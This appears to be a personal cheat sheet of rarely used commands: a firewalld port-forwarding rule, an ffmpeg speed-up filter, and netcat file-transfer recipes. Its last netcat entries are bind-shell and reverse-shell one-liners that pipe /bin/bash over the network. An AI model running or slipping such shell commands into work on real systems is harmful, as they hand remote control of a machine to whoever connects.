This is a collection of commands, tips, and tricks that I happen to use rarly enough to forget the exact syntax or parameters, but often enough to have them handy instead of googling up everytime.
firewalld
Port-forwarding based on destination IP address:
firewall-cmd --add-rich-rule='rule family="ipv4" destination address="1.1.1.1"
forward-port port="8022" protocol="tcp"
to-addr="2.2.2.2" to-port="22"'
ffmpeg
Speed up video and audio x1.25:
ffmpeg -i <input_file> -filter_complex "[0:v]setpts=PTS/1.25[v];[0:a]atempo=1.25[a]" \
-map "[v]" -map "[a]" <output_file>
netcat
Suppose you want to transfer a file “file.txt” from server A to client B.
Server: $ nc -l 4444 < file.txt Client: $ nc -n 192.168.1.100 4444 > file.txt
Suppose you want to transfer a file “file.txt” from client B to server A:
Server: $ nc -l 4444 > file.txt Client: $ nc 192.168.1.100 4444 < file.txt
Remote shell:
Server: $ nc -l 4444 -e /bin/bash -i Client: $ nc 192.168.1.100 4444
Reverse remote shell:
Server: $ nc -l 4444 Client: $ nc 192.168.1.100 4444 -e /bin/bash